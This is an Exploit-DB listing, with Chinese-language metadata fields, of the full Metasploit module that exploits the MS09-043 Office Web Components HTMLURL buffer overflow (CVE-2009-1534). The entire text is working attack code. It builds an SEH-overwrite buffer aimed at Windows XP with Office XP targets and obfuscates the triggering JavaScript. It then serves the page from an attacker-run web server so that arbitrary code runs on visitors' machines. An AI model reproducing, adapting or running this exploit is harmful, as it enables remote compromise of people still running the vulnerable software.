标题: Microsoft OWC Spreadsheet - HTMLURL Buffer Overflow (MS09-043) (Metasploit) EDB-ID: 16542 CVE: 2009-1534 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms09_043_owc_htmlurl.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Microsoft's Office Web Components.
    When passing an overly long string as the "HTMLURL" parameter an attacker can
    execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'jduck' ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2009-1534' ],
     [ 'OSVDB', '56916' ],
     [ 'BID', '35992' ],
     [ 'MSB', 'MS09-043' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\xf0",
     'DisableNops'   => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # 'ProgId' => "OWC.Spreadsheet.9"
     # 'ClassId' => "0002E512-0000-0000-C000-000000000046",

     [ 'Windows XP SP3 - IE6 - Office XP SP0',
      {
       'ClassId' => "0002E510-0000-0000-C000-000000000046",
       'Offset'  => 31337,
       'Ret'     => 0x42424242 # p/p/r in msohev.dll ??
      }
     ],

     [ 'Windows XP SP3 - IE6 - Office XP SP3',
      {
       'ClassId' => "0002E511-0000-0000-C000-000000000046",
       'Offset'  => ((4096*7) + 1076),
       'Ret'     => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
      }
     ]
    ],
   'DisclosureDate' => 'Aug 11 2009',
   'DefaultTarget'  => 1))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def big_alnum(num)
  divisor = 2048 + rand(2048)
  pad_pages = num / divisor
  pad_left = num % divisor

  ret = ''
  ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
  ret << rand_text_alphanumeric(pad_left) if pad_left
  ret
 end

 def on_request_uri(cli, request)
=begin
  # Only respond to any client twice...
  if (@sent[cli.peerhost] > 1)
   send_not_found(cli)
   return
  end
  @sent[cli.peerhost] += 1
=end

  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # ActiveX parameter(s)
  clsid = target['ClassId']

  # Exploitation parameter(s)
  seh_offset = target['Offset']

  # Build the buffer.
  string = big_alnum(seh_offset)
  string << generate_seh_record(target.ret)
  string << payload.encoded
  string << big_alnum(40960 - string.length)
  string = Rex::Text.to_unescape(string)

  # Randomize the object and function names
  objid = rand_text_alpha(8+rand(8))
  fnname = rand_text_alpha(8+rand(8))

  # Build the final JavaScript
  js = %Q|
function #{fnname}()
{
var ver1 = -1;
var ver3 = -1;
try {
ver3 = #{objid}.Version.split('.')[3];
ver3 = parseInt(ver3);
ver1 = #{objid}.Version.split('.')[0];
ver1 = parseInt(ver1);
} catch (e) { }
if (ver1 == 9 && ver3 <= 8966)
{
history.go(0);
#{objid}.HTMLURL = unescape('#{string}');
}
}
|

  # Obfuscate the javascript
  opts = {
   'Strings' => false, # way too slow to obfuscate this monster
   'Symbols' => {
    'Variables' => %w{ long ver1 ver3 },
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.obfuscate()
#<body onload="history.go(0); #{fnname}()">

  # Build the final HTML
  content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
<object classid="clsid:#{clsid}" id="#{objid}">
</object>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content,
   {
    # The vuln requires that this be the same on both requests.
    'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
   })

  # Handle the payload
  handler(cli)
 end


end URL: https://www.exploit-db.com/exploits/16542